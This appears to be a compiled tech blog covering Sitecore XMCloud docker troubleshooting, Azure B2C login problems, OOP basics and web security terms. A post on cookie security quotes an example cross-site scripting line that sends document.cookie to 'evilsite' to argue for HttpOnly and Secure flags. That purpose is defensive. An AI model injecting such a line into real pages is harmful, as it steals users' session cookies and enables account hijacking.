Sitecore XMCloud Local setup docker Cheatsheet

 Make sure you have proper dotnet Core version and nodejs version installed if you planning to setup NextJs with Sitecore XMCloud.

.Net Version is important to run Sitecore CLI where nodejs is mostly for nextjs and other commands .

Initial setup commands

iisreset /stop 

Run .\init.ps1 

.\up.ps1

Troubleshooting

iisreset /stop

./down.ps1

Most common docker command

docker compose up -d

docker compose stop

docker compose down

docker network ls

docker network rm {id of network} mostly this comes handy when _default network settings are already in use

Sitecore XMCloud Docker Full Local setup Troubleshooting guide

Scenario #1

XMCloud is setup end to end in local, first time docker and everything spin up and runs fine. Some reason, your system restart and docker container stops. You restarted docker containers and you end up seeing the exceptions below.

Try to run traefik and end up seeing below error notification

Problem

(HTTP code 500) server error - failed to create endpoint sxastarter-traefik-1 on network sxastarter_default: failed during hnsCallRawResponse: hnsCall failed in Win32: The process cannot access the file because it is being used by another process. (0x20)

Resolution

Open command prompt in administrator mode and just run iisreset /stop 

 

Prompt Engineering generative AI Model Chat GPT

 Effective ways to use Prompt Engineering generative AI model to solve and give you most accurate fact based information . The inputs to AI model is the key. Machine learning algorithm unleash the most significant information that is hidden unless you give a right quest to AI model to mine the right set of data.

• Creating effective prompt
• Evaluating prompt performance
• Using advanced prompt techniques

Tool required : Chat GPT and DALL-E-2 (Is a AI system that generates realistic images and arts from a descriptions in natural language.

What DALL E stands for

ChatGPT

"DALL-E" is a name that refers to a specific artificial intelligence model developed by OpenAI. The name itself doesn't have a literal meaning or stand for anything. It is named after the famous surrealist artist Salvador Dalí, combined with the name of the Pixar character WALL-E. DALL-E is known for its ability to generate creative and unique images based on textual descriptions

Azure B2C Open Id Cookie expiry results in redirect loop on login

Recently we have encountered some unusual behavior when customer tries to login using Azure B2C authentication framework.

Application Type	Web
Technology	.Net Framework 4.8 Asp.net MVC
CMS	Sitecore CMS 10.0.0
Authentication Framework	Azure B2C OAuth 2.0 Authorization Code Flow with Proof Key of code Exchange (PKCE) .Net MSAL Open Id connect

Problem Statement:

User idle for 15 mins and user taken back to Website Sign In page to initiate login again.

Root Cause: Token Exchange Failure. Nonce and Codeverifier expires after 15 mins. User Idle on sign In Page for more than 15mins and post that enters credential and results in login loop.

https://learn.microsoft.com/en-us/azure/active-directory-b2c/authorization-code-flow

Issue reported to Microsoft

Solution: Increase Nonce and Codeverifier expiry timeout.

Why Sitecore XMCloud is fast to market?

 It would be really sad if Sitecore stop the innovation in Content as a service. This is one of the coolest product sitecore has ever produced. XMCloud is a fully managed self service to launch omnichannel content managed website and support deployment user interface without relying on any software to facilitate that.

XMCloud consists of

• Experience Manager
• Latest SXA
• Page Editor
• Headless service and cms
• Nextjs sdk etc
• One need not worry about version of sitecore which is managed completely by XMCloud services.

Reactjs Export Default Component Function

Export default Component Function

AKS The required anti-forgery form field __RequestVerificationToken is not present.

 Problem Statement:

If you migrate from Azure Web app service to Azure kubernetes services you may encounter issues related to Anti-forgery form field or token not exist for your asp.net mvc application or sitecore application.

ValidateHeaderAntiForgeryTokenAttributeError:
System.Web.Mvc.HttpAntiForgeryException (0x80004005): The required anti-forgery form field "__RequestVerificationToken" is not present.
at System.Web.Helpers.AntiXsrf.TokenValidator.ValidateTokens(HttpContextBase httpContext, IIdentity identity, AntiForgeryToken sessionToken, AntiForgeryToken fieldToken)
at System.Web.Helpers.AntiXsrf.AntiForgeryWorker.Validate(HttpContextBase httpContext, String cookieToken, String formToken)

Resolution

nginx is the root cause we need to enable underscore in config of nginx
It just needed underscores in header enable in the config:
https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#enable-underscores-in-headers

enable-underscores-in-headers¶

Enables underscores in header names. default: is disabled

Resolve Http Status Code 200 for XHR Ajax request with HttpResponseMessage 401 Unauthorised

 Problem Statement:

Sitecore Asp.net application .net framework 4.8, there is an event on the page called by angularjs or any client side scripting to call Sitecore API controller action. Session timeout with absolute cookie expiry using Azure AD B2C Owin OpenID connect in place. After a session timeout , for any ajax call to sitecore API become non responsive , no action method called. It resulted in 200 HttpStatus code but fail to redirect to login page for customer to login again.

Request URL:http://localhost:31757/api/accountapi/login Request Method:POST Status Code:200 OK and X-Responded-JSON:{"status":401,"headers":{"location":"http:\/\/localhost:31757\/Account\/Login?ReturnUrl=%2Fapi%2Faccountapi%2Flogin"}}

 

protected override void OnAuthorization(System.Web.Mvc.AuthorizationContext filterContext)
        {
            if (User.Identity.IsAuthenticated == false)
            {
                if (filterContext.HttpContext.Request.IsAjaxRequest())
                {

                    IServiceResponse response = new ServiceResponse();
      
                    response.Status = ServiceResponseStatuses.Redirect;
                    var uiResponse = new UiServiceResponse(string.Empty)
                    {
                        Status = ServiceResponseStatuses.Redirect,
                        RedirectUrl = "/login"
                    };
                    filterContext.Result = new JsonResult
                    {
                        Data = uiResponse,
                        JsonRequestBehavior = JsonRequestBehavior.AllowGet
                    };
                    return;
                }
            }
            else
                base.OnAuthorization(filterContext);
        }

Principles of Object Oriented Programming

4 principles of Oops 

Abstraction: 

Hide Implementation and let the implementing class take care of details. It is generalisation. Abstract base class.

Encapsulation: 

Hide the data within the scope of class and allow access to properties through access modifiers. private fields /variables

Inheritance: 

Derived class inherits the base class. It is specialisation class. SportsCar : Car | MUV : Car
Is -A Relationship

Polymorphism : 

Overloading and Override Method.

Composition class- has a relationship Product --compose of price class, Ingredient Classs 

Journey towards Clean architecture

 During the early inception of technology, we started with Classic Three Layered Database centric Architecture.

Traditional Database centric 3 Layered Architecture

Onion Architecture

Why Dev estimation is a Chink in sprint planning's Armour?

 Never assess the piece of work from the eye of strong technical developer. It is not right do so. Why? Let say your strong tech guy estimate for 2 days whereas your in general rule of thumb says otherwise then there is a major fault. On the contrary , team needs a buffer there is so many unforeseen contingencies that never cater to. Whether it is dev or testing or any other areas we must understand to factor many aspect such as resource time off, discovery, impact analysis , proof of concepts , dependencies and other caveats. Well the estimation is a key driver to set a right expectation and align budget costing model to its right dimension. We should set the delivery compass such a way it will steer us in a right direction. 

Useful terminology Jargon and technical terms

Authentication

• Customer facing application
• Single Sign On Access (SSO)
• OIDC provider
• SAML provider( Security Assertion Markup Language)- System Entity issues SAML assertion
• SAML - Auth0
• Identity Provider( IDP)
• Service Provider (SDP)
• Social Identity Provider
• Enterprise Credentials
• Verification Code- One time passcode (OTP) or (OTC) One time code
• Open ID connect (OIDC)
• Standard Identity protocol (OIDC, Auth2.0)

Security 

Handle attacks:

• Denial of service
• Password spraying
• Brute force attack

Google AI BARD bot mistake wipes $100bn off shares

AI will replace human but to just certain extend. If human can't be trusted how come AI that is build by Human itself.
 

Google unveiled its new bot called Bard

Google is searching for ways to reassure people that it is still out in front in the race for the best artificial intelligence technology.

And so far, the internet giant seems to be coming up with the wrong answer.

An advert designed to show off its new AI-bot, showed it answering a query incorrectly.

Shares in parent company Alphabet sank more than 7% on Wednesday, knocking $100bn (£82bn) off the firm's market value.

AI at the current state can never take over creativity and problem-solving skills. just like ChatGPT some of the results also incorrect.

[9:43 am] Thanh Nguyen

that's why we should only use it to become more productivity instead of making doing it the job for us 🐱‍🏍

Technical Design terminology

•  Adaptor
• Context
• Handler
• Interface
• Abstract
• Boilerplate- A code snippet that is repeated in application to quick start the application development. With no and minor code change. Like when we start html and body with general page . It is a like a frame. It is not a template where we create a object out of it.
• Utility
• Template
• Resources
• References
• Constants
• Validators
• Connectors
• Extensions
• Providers
• Builders
• Processors
• Factory
• Helper
• Service
• Mock
• Stub
• Prototype
• Entities
• Domain
• Model
• View
• Presentation
• Business Layer
• Infrastructure
• Attributes
• Property
• Partial
• Enum
• Exception
• Request
• Response
• Initializer
• Constructor
• Events
• Handler
• Rules
• Component
• Control
• ToolKit
• Wizard
• App
• Config
• Filters
• Library
• Package
• Widgets
• 
  

Platform

Framework

Architecture

Design

Pattern

Practices

Component

Controls

Why Cookie can turn into Monster?

I'm reading some verse from Bible and I know you all are on right path to god(Secure) not to Demon(Hacker). Please give thumps Up if you read this with your full faith and believe in HTTP Only Secure Cookie - Http +SSL

Chapter 1 Verse #1

Here’s an example: when you log on to an ASP.NET application using forms authentication, the default implementation will return you a cookie named “.ASPXAUTH”. It looks just like this:

Set-Cookie: .ASPXAUTH=737A8033B7A68EF4C1D3AC5C96353E9767EF677903AD7F796C1BF0D8DDE141EDC98451CF6A67837D29E12A722252BA93C7342D11341BAC2D49031923BA2DFD6ADCB04BDED56A685A7417353F81B04BECFEA4F3522CCBD86C0371A6EB75B6FF74

The contents of this cookie then travel back to the server on every request you make hence identifying you as the person who logged on earlier. The problem with this is that if an attacker can gain access to that cookie, they can steal your session or in other words, set the cookie in their own browser, go to the website and now the website thinks they’re you.

Chapter 2 Verse #2

Here’s an example: let’s imagine you have a website that has a cross site scripting vulnerability (remember, this is still number 2 on the Top 10 web application security risks and is extremely prevalent) and that an attacker can add arbitrary JavaScript to your page so they do this:

location.href = 'http://evilsite/?cookies=' + document.cookie;

What will happen is that the browser will happily redirect the unsuspecting user to the evil site and send all their cookies with the request. Those cookies may hold sensitive information – including authentication information – which the site may then harvest and use to hijack sessions. It really is that easy and whilst that example is rather rudimentary, much more elegant solutions exist which enable those cookies to be siphoned off without the user ever observing any odd behaviour on the website.

God has its own way -- Secure http only Http + SSL

What we need is a way to stop the browser from being able to access cookies on the client side and this is where the HTTP only flag comes in.

httpCookies httpOnlyCookies="true" requireSSL="true"

Simple 3 Steps Docker Window Containerize .Net Hello World

 

Prerequisites 

Azure Kubernetes Services Fundamentals

Introduction

Kubernetes is an open source where one can automate deployment, scale the application system and manage containers.

Sitecore Azure AD B2C User.Identity.IsAuthenticated is false Set AuthenticationManager

 

Solution to use ExternalLoginCallBack

Sitecore exposes /identity/externallogincallback URL which basically invokes the HandleLoginLink processor whose primary responsibility is to transfer the AspNet.ExternalCookie issued by OIDC in to final AspNet.Cookies authentication token. The sitecore virtual users then get created and session is initialized. Therefore we must include the above end point as our callback end point. Once this callback is triggered, it will redirect the user to returnUrl specified.

https://stackoverflow.com/questions/29907155/external-cookie-for-external-login-in-asp-net-owin

https://blog.baslijten.com/federated-authentication-in-sitecore-error-unsuccessful-login-with-external-provider

Technically this is what it does behind the scene- This is just a hack , don't use this. Refer above code snippet to redirect to Sitecore external call back to get away with External Cookie reference.

Azure AD B2C Overview

App Registrations

• Register your application in Azure AD B2C. 
• Create new application ID or client ID that identifies your application.

Select Identity Provider

• Facebook
• Twitter
• Google
• Amazon
• MS
• Github
• Local account

Select Policy

• User flow- User sign up /sign in, reset , Change password etc.
• Under user flow- select token claims

What is claim is a variable or attributes of logged in person- return user details post login

Claim: 

• Display name
• Email
• Country
• Job Title
• Postcode
• City
• USER OBJECT
• Identity provider

Scale up Scale down vs Scale In Scale Out

 

Scale In /Out	Scale Up/Down
Downtime: No downtime when provisioning in cloud	Downtime to some extent as there will be migration of code and configuration. No downtime when scaling process happens however migration of code configuration kicks off post scaling results in downtime.
Scenario: When code is alright, however no of users during the peak increases and server is unable to serve request. Increase no of boxes or instance to distribute loads of users across . Load balancing of users or distribution of users to serve request.	Scenario : When bad code or design leads to more CPU and memory utilizations. Need to increase server capacity
No sticky session Out proc session	In Proc session or state server session will do.